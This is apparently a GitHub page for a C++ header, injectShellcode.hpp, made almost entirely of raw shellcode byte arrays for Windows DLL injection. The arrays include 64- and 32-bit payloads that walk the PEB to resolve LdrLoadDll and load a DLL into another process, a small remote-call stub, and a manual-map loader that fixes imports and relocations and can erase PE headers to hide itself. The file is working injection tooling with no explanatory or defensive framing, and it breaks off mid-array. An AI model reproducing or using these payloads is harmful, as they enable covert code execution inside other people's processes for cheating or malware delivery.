-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathinjectShellcode.hpp
More file actions
261 lines (229 loc) · 36 KB
/
injectShellcode.hpp
File metadata and controls
261 lines (229 loc) · 36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#pragma once
#include <cstdint>
namespace normalInject_64
{
namespace rva
{
const size_t dllBase = 0x8;
const size_t nAlreadRun = 0x4;
const size_t ntStatus = 0x0;
const size_t start = 0xdc;
const size_t szDllPath = 0x10;
}
unsigned char payload[] =
{
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8b,0xc4,0x48,0x89,0x58,0x08,0x48,0x89,0x68,0x10,0x48,0x89,0x70,0x18,0x48,0x89,0x78,0x20,0x41,
0x56,0x48,0x83,0xec,0x30,0x33,0xc0,0x44,0x8d,0x70,0x01,0xf0,0x44,0x0f,0xb1,0x35,0xd4,0xff,0xff,0xff,0x0f,0x85,0x0a,0x01,0x00,0x00,0xc7,0x05,0xec,0xfe,0xff,0xff,0x01,0x00,0x00,0xc0,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x4c,0x8b,0x40,0x30,0x49,0x63,0x48,0x3c,0x42,0x8b,0x9c,0x01,0x88,0x00,0x00,0x00,0x49,0x03,0xd8,0x49,0x3b,0xd8,0x74,0x5e,0x44,0x8b,0x53,
0x18,0x45,0x85,0xd2,0x74,0x55,0x8b,0x73,0x20,0x41,0xff,0xca,0xbf,0x2c,0xb6,0xbd,0xe5,0x4a,0x8d,0x0c,0x96,0x46,0x8b,0x0c,0x01,0x4d,0x03,0xc8,0x45,0x8a,0x19,0x4d,0x03,0xce,0x45,0x84,0xdb,0x74,0x2f,0x41,0x0f,0xbe,0xcb,0x41,0x80,0xeb,0x41,0x8b,0xd1,0x83,0xca,0x20,0x41,0x80,0xfb,0x19,0x45,0x8a,0x19,0x0f,0x47,0xd1,0x4d,0x03,0xce,0x33,0xd7,0x69,0xfa,0x93,0x01,0x00,0x01,0x45,0x84,0xdb,0x75,0xd9,0x81,0xff,
0x53,0x17,0x62,0x63,0x74,0x0a,0x45,0x85,0xd2,0x75,0xae,0x48,0x8b,0x00,0xeb,0x85,0x8b,0x4b,0x24,0x49,0x03,0xc8,0x42,0x0f,0xb7,0x14,0x51,0x8b,0x4b,0x1c,0x49,0x03,0xc8,0x8b,0x04,0x91,0x48,0x8d,0x0d,0x76,0x00,0x00,0x00,0x49,0x03,0xc0,0xff,0xd0,0x48,0x8d,0x15,0x7e,0x00,0x00,0x00,0x48,0x8b,0xc8,0x48,0x8b,0xd8,0xe8,0x7e,0x00,0x00,0x00,0x48,0x8d,0x15,0xa8,0x01,0x00,0x00,0x48,0x8b,0xcb,0x48,0x8b,0xf8,0xe8,
0x6c,0x00,0x00,0x00,0x48,0x8d,0x15,0x25,0xfe,0xff,0xff,0x48,0x8d,0x4c,0x24,0x20,0xff,0xd0,0x4c,0x8d,0x0d,0x0f,0xfe,0xff,0xff,0x33,0xd2,0x4c,0x8d,0x44,0x24,0x20,0x33,0xc9,0xff,0xd7,0x89,0x05,0xf6,0xfd,0xff,0xff,0xc7,0x05,0xf0,0xfd,0xff,0xff,0x7e,0x1e,0x37,0xc0,0x48,0x8b,0x5c,0x24,0x40,0x33,0xc0,0x48,0x8b,0x6c,0x24,0x48,0x48,0x8b,0x74,0x24,0x50,0x48,0x8b,0x7c,0x24,0x58,0x48,0x83,0xc4,0x30,0x41,0x5e,
0xc3,0x6e,0x00,0x74,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x4c,0x64,0x72,0x4c,0x6f,0x61,0x64,0x44,0x6c,0x6c,0x00,0x48,0x8b,0xc4,0x48,0x89,0x58,0x08,0x48,0x89,0x68,0x10,0x48,0x89,0x70,0x18,0x48,0x89,0x78,0x20,0x41,0x56,0x41,0x57,0x45,0x33,0xc9,0x48,0x8b,0xea,0x4c,0x8b,0xc1,0x48,0x85,0xc9,0x0f,0x84,0xed,0x00,0x00,0x00,0xb8,0x4d,0x5a,0x00,0x00,0x66,0x39,
0x01,0x0f,0x85,0xdf,0x00,0x00,0x00,0x48,0x63,0x41,0x3c,0x81,0x3c,0x08,0x50,0x45,0x00,0x00,0x0f,0x85,0xce,0x00,0x00,0x00,0xb9,0x0b,0x02,0x00,0x00,0x66,0x42,0x39,0x4c,0x00,0x18,0x75,0x12,0x42,0x8b,0xbc,0x00,0x8c,0x00,0x00,0x00,0x42,0x8b,0x8c,0x00,0x88,0x00,0x00,0x00,0xeb,0x0a,0x42,0x8b,0x7c,0x00,0x7c,0x42,0x8b,0x4c,0x00,0x78,0x8b,0xd1,0x45,0x8b,0xd1,0x49,0x03,0xd0,0x44,0x8b,0x72,0x24,0x44,0x8b,0x7a,
0x20,0x4d,0x03,0xf0,0x8b,0x72,0x1c,0x4d,0x03,0xf8,0x49,0x03,0xf0,0x44,0x39,0x4a,0x14,0x76,0x7e,0x48,0x81,0xfd,0xff,0xff,0x00,0x00,0x77,0x11,0x45,0x0f,0xb7,0xda,0x41,0x8b,0xcb,0x0f,0xb7,0xc5,0x03,0x4a,0x10,0x3b,0xc1,0xeb,0x3d,0x44,0x3b,0x52,0x18,0x73,0x63,0x41,0x8b,0xc2,0x41,0x8b,0x0c,0x87,0x41,0x0f,0xb7,0x1c,0x46,0x48,0x8b,0xc5,0x49,0x03,0xc8,0x74,0x25,0x44,0x0f,0xb7,0xdb,0xeb,0x10,0x8a,0x18,0x84,
0xdb,0x74,0x0f,0x38,0x19,0x75,0x0b,0x48,0xff,0xc1,0x48,0xff,0xc0,0x44,0x38,0x09,0x75,0xeb,0x0f,0xbe,0x09,0x0f,0xbe,0x00,0x3b,0xc8,0x74,0x0b,0x41,0xff,0xc2,0x44,0x3b,0x52,0x14,0x73,0x1c,0xeb,0x9c,0x41,0x0f,0xb7,0xc3,0x44,0x8b,0x0c,0x86,0x4d,0x03,0xc8,0x4c,0x3b,0xca,0x72,0x0a,0x8b,0xcf,0x48,0x03,0xca,0x4c,0x3b,0xc9,0x76,0x05,0x49,0x8b,0xc1,0xeb,0x02,0x33,0xc0,0x48,0x8b,0x5c,0x24,0x18,0x48,0x8b,0x6c,
0x24,0x20,0x48,0x8b,0x74,0x24,0x28,0x48,0x8b,0x7c,0x24,0x30,0x41,0x5f,0x41,0x5e,0xc3,0x52,0x74,0x6c,0x49,0x6e,0x69,0x74,0x55,0x6e,0x69,0x63,0x6f,0x64,0x65,0x53,0x74,0x72,0x69,0x6e,0x67,0x00, };
};
namespace call_rip_shellcode_64
{
namespace rva
{
const size_t nAlreadRun = 0x4;
const size_t ntStatus = 0x0;
const size_t pfnFunc = 0x8;
const size_t start = 0x14;
}
unsigned char payload[] =
{
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x83,0xec,0x28,0xb9,0x01,0x00,0x00,0x00,0x33,0xc0,0xf0,0x0f,0xb1,0x0d,0xe9,0xff,0xff,0xff,0x75,0x18,0x48,0x8b,0x05,0xd8,0xff,0xff,0xff,0x48,0x85,0xc0,0x74,0x02,0xff,0xd0,0xc7,0x05,0xc3,0xff,0xff,0xff,0x7e,0x1e,0x37,0xc0,0x33,0xc0,0x48,0x83,0xc4,0x28,0xc3, };
};
namespace normalInject_32
{
namespace rva
{
const size_t struct_offset = 0x9;
const size_t shellcode_end = 0x490;
}
unsigned char payload[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x70, 0xC7, 0x45, 0xF0, 0x32, 0x04, 0xD8, 0x00, 0xB9, 0x01, 0x00,
0x00, 0x00, 0x8B, 0x55, 0xF0, 0x33, 0xC0, 0xF0, 0x0F, 0xB1, 0x0A, 0x85, 0xC0, 0x0F, 0x85, 0x0C,
0x02, 0x00, 0x00, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xE8, 0x00, 0x00, 0x00,
0x00, 0xC7, 0x45, 0xD4, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0xC7,
0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xD0, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xEC,
0x00, 0x00, 0x00, 0x00, 0xC6, 0x45, 0xA8, 0x6E, 0xC6, 0x45, 0xA9, 0x00, 0xC6, 0x45, 0xAA, 0x74,
0xC6, 0x45, 0xAB, 0x00, 0xC6, 0x45, 0xAC, 0x64, 0xC6, 0x45, 0xAD, 0x00, 0xC6, 0x45, 0xAE, 0x6C,
0xC6, 0x45, 0xAF, 0x00, 0xC6, 0x45, 0xB0, 0x6C, 0xC6, 0x45, 0xB1, 0x00, 0xC6, 0x45, 0xB2, 0x2E,
0xC6, 0x45, 0xB3, 0x00, 0xC6, 0x45, 0xB4, 0x64, 0xC6, 0x45, 0xB5, 0x00, 0xC6, 0x45, 0xB6, 0x6C,
0xC6, 0x45, 0xB7, 0x00, 0xC6, 0x45, 0xB8, 0x6C, 0xC6, 0x45, 0xB9, 0x00, 0xC6, 0x45, 0xBA, 0x00,
0xC6, 0x45, 0xBB, 0x00, 0xC6, 0x45, 0x90, 0x52, 0xC6, 0x45, 0x91, 0x74, 0xC6, 0x45, 0x92, 0x6C,
0xC6, 0x45, 0x93, 0x49, 0xC6, 0x45, 0x94, 0x6E, 0xC6, 0x45, 0x95, 0x69, 0xC6, 0x45, 0x96, 0x74,
0xC6, 0x45, 0x97, 0x55, 0xC6, 0x45, 0x98, 0x6E, 0xC6, 0x45, 0x99, 0x69, 0xC6, 0x45, 0x9A, 0x63,
0xC6, 0x45, 0x9B, 0x6F, 0xC6, 0x45, 0x9C, 0x64, 0xC6, 0x45, 0x9D, 0x65, 0xC6, 0x45, 0x9E, 0x53,
0xC6, 0x45, 0x9F, 0x74, 0xC6, 0x45, 0xA0, 0x72, 0xC6, 0x45, 0xA1, 0x69, 0xC6, 0x45, 0xA2, 0x6E,
0xC6, 0x45, 0xA3, 0x67, 0xC6, 0x45, 0xA4, 0x00, 0xC6, 0x45, 0xBC, 0x4C, 0xC6, 0x45, 0xBD, 0x64,
0xC6, 0x45, 0xBE, 0x72, 0xC6, 0x45, 0xBF, 0x4C, 0xC6, 0x45, 0xC0, 0x6F, 0xC6, 0x45, 0xC1, 0x61,
0xC6, 0x45, 0xC2, 0x64, 0xC6, 0x45, 0xC3, 0x44, 0xC6, 0x45, 0xC4, 0x6C, 0xC6, 0x45, 0xC5, 0x6C,
0xC6, 0x45, 0xC6, 0x00, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x83, 0xC0, 0x0C,
0x89, 0x45, 0xE8, 0x8B, 0x00, 0x89, 0x45, 0xFC, 0x83, 0x7D, 0xE8, 0x00, 0x75, 0x0B, 0x83, 0x7D,
0xFC, 0x00, 0x75, 0x05, 0xE9, 0xE6, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xFC, 0x3B, 0x45, 0xE8, 0x74,
0x68, 0x8B, 0x4D, 0xFC, 0x8B, 0x51, 0x30, 0x89, 0x55, 0xF4, 0x8D, 0x45, 0xA8, 0x89, 0x45, 0xF8,
0x83, 0x7D, 0xEC, 0x00, 0x75, 0x49, 0x8B, 0x4D, 0xF8, 0x0F, 0xB7, 0x11, 0x85, 0xD2, 0x74, 0x24,
0x8B, 0x45, 0xF8, 0x0F, 0xB7, 0x08, 0x8B, 0x55, 0xF4, 0x0F, 0xB7, 0x02, 0x3B, 0xC8, 0x75, 0x14,
0x8B, 0x4D, 0xF8, 0x83, 0xC1, 0x02, 0x89, 0x4D, 0xF8, 0x8B, 0x55, 0xF4, 0x83, 0xC2, 0x02, 0x89,
0x55, 0xF4, 0xEB, 0xD2, 0x8B, 0x45, 0xF8, 0x0F, 0xB7, 0x08, 0x8B, 0x55, 0xF4, 0x0F, 0xB7, 0x02,
0x3B, 0xC8, 0x75, 0x0B, 0x8B, 0x4D, 0xFC, 0x8B, 0x51, 0x18, 0x89, 0x55, 0xEC, 0xEB, 0x0A, 0x8B,
0x45, 0xFC, 0x8B, 0x08, 0x89, 0x4D, 0xFC, 0xEB, 0x90, 0xC7, 0x45, 0xE0, 0x00, 0x00, 0x00, 0x00,
0xC7, 0x45, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x8D, 0x55, 0xBC, 0x52, 0x8B, 0x45, 0xEC, 0x50, 0xE8,
0x5F, 0x00, 0x00, 0x00, 0x89, 0x45, 0xE0, 0x8D, 0x4D, 0x90, 0x51, 0x8B, 0x55, 0xEC, 0x52, 0xE8,
0x4F, 0x00, 0x00, 0x00, 0x89, 0x45, 0xE4, 0x83, 0x7D, 0xE0, 0x00, 0x74, 0x38, 0x83, 0x7D, 0xE4,
0x00, 0x74, 0x32, 0x8B, 0x45, 0xE4, 0x89, 0x45, 0xDC, 0x8B, 0x4D, 0xF0, 0x83, 0xC1, 0x10, 0x51,
0x8D, 0x55, 0xC8, 0x52, 0xFF, 0x55, 0xDC, 0x8B, 0x45, 0xE0, 0x89, 0x45, 0xD8, 0x8B, 0x4D, 0xF0,
0x83, 0xC1, 0x0C, 0x51, 0x8D, 0x55, 0xC8, 0x52, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x55, 0xD8, 0x8B,
0x4D, 0xF0, 0x89, 0x41, 0x04, 0x8B, 0x55, 0xF0, 0xC7, 0x42, 0x08, 0x7E, 0x1E, 0x37, 0xC0, 0x8B,
0xE5, 0x5D, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x3C, 0xC7, 0x45, 0xCC, 0x00, 0x00, 0x00, 0x00,
0xC7, 0x45, 0xC8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45,
0x08, 0x89, 0x45, 0xE8, 0xC7, 0x45, 0xF0, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xE4, 0x00, 0x00,
0x00, 0x00, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xE0, 0x00, 0x00, 0x00, 0x00,
0xC7, 0x45, 0xEC, 0x00, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x08, 0x00, 0x75, 0x07, 0x33, 0xC0, 0xE9,
0xA8, 0x01, 0x00, 0x00, 0x8B, 0x4D, 0xE8, 0x0F, 0xB7, 0x11, 0x81, 0xFA, 0x4D, 0x5A, 0x00, 0x00,
0x74, 0x07, 0x33, 0xC0, 0xE9, 0x93, 0x01, 0x00, 0x00, 0x8B, 0x45, 0xE8, 0x8B, 0x4D, 0x08, 0x03,
0x48, 0x3C, 0x89, 0x4D, 0xF0, 0x8B, 0x55, 0xE8, 0x8B, 0x45, 0x08, 0x03, 0x42, 0x3C, 0x89, 0x45,
0xE4, 0x8B, 0x4D, 0xF0, 0x81, 0x39, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x69,
0x01, 0x00, 0x00, 0x8B, 0x55, 0xF0, 0x0F, 0xB7, 0x42, 0x18, 0x3D, 0x0B, 0x02, 0x00, 0x00, 0x75,
0x2F, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xD1, 0x00, 0x8B, 0x45, 0xE4, 0x8B, 0x8C, 0x10, 0x88,
0x00, 0x00, 0x00, 0x03, 0x4D, 0x08, 0x89, 0x4D, 0xF8, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,
0x00, 0x8B, 0x4D, 0xE4, 0x8B, 0x94, 0x01, 0x8C, 0x00, 0x00, 0x00, 0x89, 0x55, 0xE0, 0xEB, 0x27,
0xB8, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC8, 0x00, 0x8B, 0x55, 0xF0, 0x8B, 0x44, 0x0A, 0x78, 0x03,
0x45, 0x08, 0x89, 0x45, 0xF8, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xD1, 0x00, 0x8B, 0x45, 0xF0,
0x8B, 0x4C, 0x10, 0x7C, 0x89, 0x4D, 0xE0, 0x8B, 0x55, 0xF8, 0x8B, 0x42, 0x24, 0x03, 0x45, 0x08,
0x89, 0x45, 0xD4, 0x8B, 0x4D, 0xF8, 0x8B, 0x51, 0x20, 0x03, 0x55, 0x08, 0x89, 0x55, 0xD8, 0x8B,
0x45, 0xF8, 0x8B, 0x48, 0x1C, 0x03, 0x4D, 0x08, 0x89, 0x4D, 0xD0, 0xC7, 0x45, 0xF4, 0x00, 0x00,
0x00, 0x00, 0xEB, 0x09, 0x8B, 0x55, 0xF4, 0x83, 0xC2, 0x01, 0x89, 0x55, 0xF4, 0x8B, 0x45, 0xF8,
0x8B, 0x4D, 0xF4, 0x3B, 0x48, 0x14, 0x0F, 0x83, 0xBD, 0x00, 0x00, 0x00, 0xBA, 0xFF, 0xFF, 0x00,
0x00, 0x66, 0x89, 0x55, 0xFC, 0xC7, 0x45, 0xDC, 0x00, 0x00, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0xFF,
0xFF, 0x00, 0x00, 0x77, 0x0A, 0x66, 0x8B, 0x45, 0xF4, 0x66, 0x89, 0x45, 0xFC, 0xEB, 0x37, 0x81,
0x7D, 0x0C, 0xFF, 0xFF, 0x00, 0x00, 0x76, 0x2A, 0x8B, 0x4D, 0xF8, 0x8B, 0x55, 0xF4, 0x3B, 0x51,
0x18, 0x73, 0x1F, 0x8B, 0x45, 0xF4, 0x8B, 0x4D, 0xD8, 0x8B, 0x14, 0x81, 0x03, 0x55, 0x08, 0x89,
0x55, 0xDC, 0x8B, 0x45, 0xF4, 0x8B, 0x4D, 0xD4, 0x66, 0x8B, 0x14, 0x41, 0x66, 0x89, 0x55, 0xFC,
0xEB, 0x04, 0x33, 0xC0, 0xEB, 0x66, 0x81, 0x7D, 0x0C, 0xFF, 0xFF, 0x00, 0x00, 0x77, 0x12, 0x0F,
0xB7, 0x45, 0x0C, 0x0F, 0xB7, 0x4D, 0xFC, 0x8B, 0x55, 0xF8, 0x03, 0x4A, 0x10, 0x3B, 0xC1, 0x74,
0x1A, 0x81, 0x7D, 0x0C, 0xFF, 0xFF, 0x00, 0x00, 0x76, 0x3A, 0x8B, 0x45, 0x0C, 0x50, 0x8B, 0x4D,
0xDC, 0x51, 0xE8, 0x3B, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x29, 0x0F, 0xB7, 0x55, 0xFC, 0x8B,
0x45, 0xD0, 0x8B, 0x0C, 0x90, 0x03, 0x4D, 0x08, 0x89, 0x4D, 0xEC, 0x8B, 0x55, 0xEC, 0x3B, 0x55,
0xF8, 0x72, 0x0F, 0x8B, 0x45, 0xF8, 0x03, 0x45, 0xE0, 0x39, 0x45, 0xEC, 0x77, 0x04, 0x33, 0xC0,
0xEB, 0x0A, 0xEB, 0x05, 0xE9, 0x2B, 0xFF, 0xFF, 0xFF, 0x8B, 0x45, 0xEC, 0x8B, 0xE5, 0x5D, 0xC2,
0x08, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0x7D, 0x08, 0x00, 0x74, 0x06, 0x83, 0x7D, 0x0C, 0x00, 0x75,
0x05, 0x83, 0xC8, 0xFF, 0xEB, 0x46, 0x8B, 0x45, 0x08, 0x0F, 0xBE, 0x08, 0x85, 0xC9, 0x74, 0x2E,
0x8B, 0x55, 0x0C, 0x0F, 0xBE, 0x02, 0x85, 0xC0, 0x74, 0x24, 0x8B, 0x4D, 0x08, 0x0F, 0xBE, 0x11,
0x8B, 0x45, 0x0C, 0x0F, 0xBE, 0x08, 0x3B, 0xD1, 0x75, 0x14, 0x8B, 0x55, 0x08, 0x83, 0xC2, 0x01,
0x89, 0x55, 0x08, 0x8B, 0x45, 0x0C, 0x83, 0xC0, 0x01, 0x89, 0x45, 0x0C, 0xEB, 0xC8, 0x8B, 0x4D,
0x08, 0x0F, 0xBE, 0x01, 0x8B, 0x55, 0x0C, 0x0F, 0xBE, 0x0A, 0x2B, 0xC1, 0x5D, 0xC2, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
}
/*此shellcode 修复IAT 和重定位 入口点是 start
*
#define CALL_COMPLETE 0xC0371E7E 标志 shellcode执行完成 但并非成功
#define CALL_COMPLETE_SUCCESS 0xC0371E80 当 nAlreadRunState=CALL_COMPLETE_SUCCESS 的时候 shellcode执行成功
#define clear_peHeaders 1
#define protect_peHeaders 0x2
*/
namespace MapInject_64
{
namespace rva
{
const size_t nAlreadRunState = 0x4;
const size_t nFlags = 0x0;
const size_t nPEBuffer = 0x8;
const size_t start = 0x14;
}
unsigned char payload[] =
{
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0x5c,0x24,0x10,0x48,0x89,0x6c,0x24,0x18,0x48,0x89,0x74,0x24,0x20,0x57,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x83,0xec,0x20,0x33,0xc0,0x44,0x8d,0x60,0x01,0xf0,0x44,0x0f,0xb1,0x25,0xd1,0xff,0xff,0xff,0x0f,0x85,0xe0,0x03,0x00,0x00,0x48,0x8b,0x05,0xbc,0xff,0xff,0xff,0x48,0x85,0xc0,0x0f,
0x84,0xc6,0x03,0x00,0x00,0x48,0x8b,0x15,0xac,0xff,0xff,0xff,0x48,0x8b,0x0d,0xa5,0xff,0xff,0xff,0xe8,0xda,0x03,0x00,0x00,0x85,0xc0,0x0f,0x84,0xab,0x03,0x00,0x00,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x41,0x83,0xcd,0xff,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x48,0x8b,0x78,0x30,0x48,0x63,0x4f,0x3c,0x44,0x8b,0x94,0x39,0x88,0x00,0x00,0x00,0x4c,0x03,0xd7,0x4c,0x3b,0xd7,0x74,0x5f,0x45,0x8b,0x4a,
0x18,0x45,0x85,0xc9,0x74,0x56,0x45,0x8b,0x72,0x20,0x45,0x03,0xcd,0xbb,0x57,0xaa,0xa7,0x90,0x4b,0x8d,0x0c,0x8e,0x44,0x8b,0x04,0x39,0x4c,0x03,0xc7,0x45,0x8a,0x18,0x4d,0x03,0xc4,0x45,0x84,0xdb,0x74,0x2f,0x41,0x0f,0xbe,0xcb,0x41,0x80,0xeb,0x41,0x8b,0xd1,0x83,0xca,0x20,0x41,0x80,0xfb,0x19,0x45,0x8a,0x18,0x0f,0x47,0xd1,0x4d,0x03,0xc4,0x33,0xd3,0x69,0xda,0x93,0x01,0x00,0x01,0x45,0x84,0xdb,0x75,0xd9,0x81,
